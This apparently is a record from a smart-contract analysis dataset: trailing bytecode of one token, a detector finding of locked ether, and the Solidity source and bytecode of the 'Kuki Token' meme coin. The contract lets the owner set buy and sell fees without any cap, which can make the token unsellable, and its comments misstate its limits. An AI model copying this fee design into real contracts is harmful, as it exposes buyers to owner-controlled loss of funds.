0390f35b34801561035457600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082b565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085b565b6040518082815260200191505060405180910390f35b34801561041057600080fd5b506104196108a3565b005b34801561042757600080fd5b506104306109a8565b005b34801561043e57600080fd5b50610447610a69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049557600080fd5b5061049e610a8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104de5780820151818401526020810190506104c3565b50505050905090810190601f16801561050b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052557600080fd5b50610564600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac8565b604051808215151515815260200191505060405180910390f35b34801561058a57600080fd5b506105c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af8565b604051808215151515815260200191505060405180910390f35b3480156105ef57600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b28565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b5061069b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610baf565b005b6040805190810160405280600981526020017f4b454f53546f6b656e000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106f457600080fd5b6106fe8383610c17565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561072e57600080fd5b610739848484610d09565b90509392505050565b601260ff16600a0a6359682f000281565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b457600080fd5b600360149054906101000a900460ff1615156107cf57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561084957600080fd5b61085383836110c3565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ff57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0457600080fd5b600360149054906101000a900460ff16151515610a2057600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4b454f530000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610ae657600080fd5b610af08383611354565b905092915050565b6000600360149054906101000a900460ff16151515610b1657600080fd5b610b208383611573565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0b57600080fd5b610c148161176f565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d4657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e1e57600080fd5b610e6f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186b90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f02826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fd382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111d4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611268565b6111e7838261186b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561139157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113de57600080fd5b61142f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186b90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061160482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117ab57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561187957fe5b818303905092915050565b6000818301905082811015151561189757fe5b809050929150505600a165627a7a723058209f7bb4b22f754fe830821bc77803b3ec1fbd4903ab6397cf3e663750c38a64720029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,872
0xaaf4a11709cdefad95c8f7f77fd98cdaf25bb8b2
/** https://t.me/KokiToken https://KokiInu.info * TOKENOMICS * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 10,000,000,000 max buy / 30-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy * 8% tax on buys and sells * 15% fee on sells within first (1) hour post-launch * Max wallet of 3% of total supply for first (1) hour post-launch * No team tokens, no presale SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KukiToken is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"Kuki Token"; //// string public constant symbol = unicode"KUKI"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 8; uint public _sellFee = 8; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (1 hours)) { fee += 7; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 10000000001 * 10**9; // 1% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610697578063dcb0e0ad146106c2578063dd62ed3e146106eb578063e8078d9414610728576101ee565b8063a9059cbb14610601578063b2131f7d1461063e578063c3c8cd8014610669578063c9567bf914610680576101ee565b8063715018a6116100d1578063715018a6146105695780638da5cb5b1461058057806394b8d8f2146105ab57806395d89b41146105d6576101ee565b806350901617146104c1578063590f897e146104ea5780636fc3eaec1461051557806370a082311461052c576101ee565b806327f3a72a1161017a5780633bed4355116101495780633bed43551461041757806340b9a54b1461044257806345596e2e1461046d57806349bd5a5e14610496576101ee565b806327f3a72a1461036b578063313ce5671461039657806332d873d8146103c1578063367c5544146103ec576101ee565b80630b78f9c0116101b65780630b78f9c0146102af57806318160ddd146102d85780631940d0201461030357806323b872dd1461032e576101ee565b80630492f055146101f357806306fdde031461021e5780630802d2f614610249578063095ea7b314610272576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861073f565b6040516102159190612937565b60405180910390f35b34801561022a57600080fd5b50610233610745565b60405161024091906129eb565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612a70565b61077e565b005b34801561027e57600080fd5b5061029960048036038101906102949190612ac9565b61087c565b6040516102a69190612b24565b60405180910390f35b3480156102bb57600080fd5b506102d660048036038101906102d19190612b3f565b61089a565b005b3480156102e457600080fd5b506102ed61097e565b6040516102fa9190612937565b60405180910390f35b34801561030f57600080fd5b5061031861098f565b6040516103259190612937565b60405180910390f35b34801561033a57600080fd5b5061035560048036038101906103509190612b7f565b610995565b6040516103629190612b24565b60405180910390f35b34801561037757600080fd5b50610380610b86565b60405161038d9190612937565b60405180910390f35b3480156103a257600080fd5b506103ab610b96565b6040516103b89190612bee565b60405180910390f35b3480156103cd57600080fd5b506103d6610b9b565b6040516103e39190612937565b60405180910390f35b3480156103f857600080fd5b50610401610ba1565b60405161040e9190612c2a565b60405180910390f35b34801561042357600080fd5b5061042c610bc7565b6040516104399190612c2a565b60405180910390f35b34801561044e57600080fd5b50610457610bed565b6040516104649190612937565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190612c45565b610bf3565b005b3480156104a257600080fd5b506104ab610cda565b6040516104b89190612c81565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190612a70565b610d00565b005b3480156104f657600080fd5b506104ff610dfe565b60405161050c9190612937565b60405180910390f35b34801561052157600080fd5b5061052a610e04565b005b34801561053857600080fd5b50610553600480360381019061054e9190612a70565b610e76565b6040516105609190612937565b60405180910390f35b34801561057557600080fd5b5061057e610ebf565b005b34801561058c57600080fd5b50610595611012565b6040516105a29190612c81565b60405180910390f35b3480156105b757600080fd5b506105c061103b565b6040516105cd9190612b24565b60405180910390f35b3480156105e257600080fd5b506105eb61104e565b6040516105f891906129eb565b60405180910390f35b34801561060d57600080fd5b5061062860048036038101906106239190612ac9565b611087565b6040516106359190612b24565b60405180910390f35b34801561064a57600080fd5b506106536110a5565b6040516106609190612937565b60405180910390f35b34801561067557600080fd5b5061067e6110ab565b005b34801561068c57600080fd5b50610695611125565b005b3480156106a357600080fd5b506106ac61124d565b6040516106b99190612937565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190612cc8565b61127f565b005b3480156106f757600080fd5b50610712600480360381019061070d9190612cf5565b611343565b60405161071f9190612937565b60405180910390f35b34801561073457600080fd5b5061073d6113ca565b005b600d5481565b6040518060400160405280600a81526020017f4b756b6920546f6b656e0000000000000000000000000000000000000000000081525081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107bf61187b565b73ffffffffffffffffffffffffffffffffffffffff16146107df57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516108719190612d94565b60405180910390a150565b600061089061088961187b565b8484611883565b6001905092915050565b6108a261187b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092690612dfb565b60405180910390fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b54604051610972929190612e1b565b60405180910390a15050565b6000683635c9adc5dea00000905090565b600e5481565b6000601060009054906101000a900460ff1680156109fd5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a565750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610aca573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac090612e90565b60405180910390fd5b5b610ad5848484611a4e565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b2161187b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b669190612edf565b9050610b7a85610b7461187b565b83611883565b60019150509392505050565b6000610b9130610e76565b905090565b600981565b600f5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3461187b565b73ffffffffffffffffffffffffffffffffffffffff1614610c5457600080fd5b60008111610c97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8e90612f5f565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610ccf9190612937565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d4161187b565b73ffffffffffffffffffffffffffffffffffffffff1614610d6157600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610df39190612d94565b60405180910390a150565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e4561187b565b73ffffffffffffffffffffffffffffffffffffffff1614610e6557600080fd5b6000479050610e73816122cf565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ec761187b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4b90612dfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600481526020017f4b554b490000000000000000000000000000000000000000000000000000000081525081565b600061109b61109461187b565b8484611a4e565b6001905092915050565b600c5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ec61187b565b73ffffffffffffffffffffffffffffffffffffffff161461110c57600080fd5b600061111730610e76565b9050611122816123bc565b50565b61112d61187b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190612dfb565b60405180910390fd5b601060009054906101000a900460ff161561120a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120190612fcb565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f81905550678ac72304c582ca00600d819055506801a055690d9db80000600e81905550565b600061127a600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e76565b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112c061187b565b73ffffffffffffffffffffffffffffffffffffffff16146112e057600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516113389190612b24565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113d261187b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145690612dfb565b60405180910390fd5b601060009054906101000a900460ff16156114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a690612fcb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061153f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611883565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561158a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ae9190613000565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611615573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116399190613000565b6040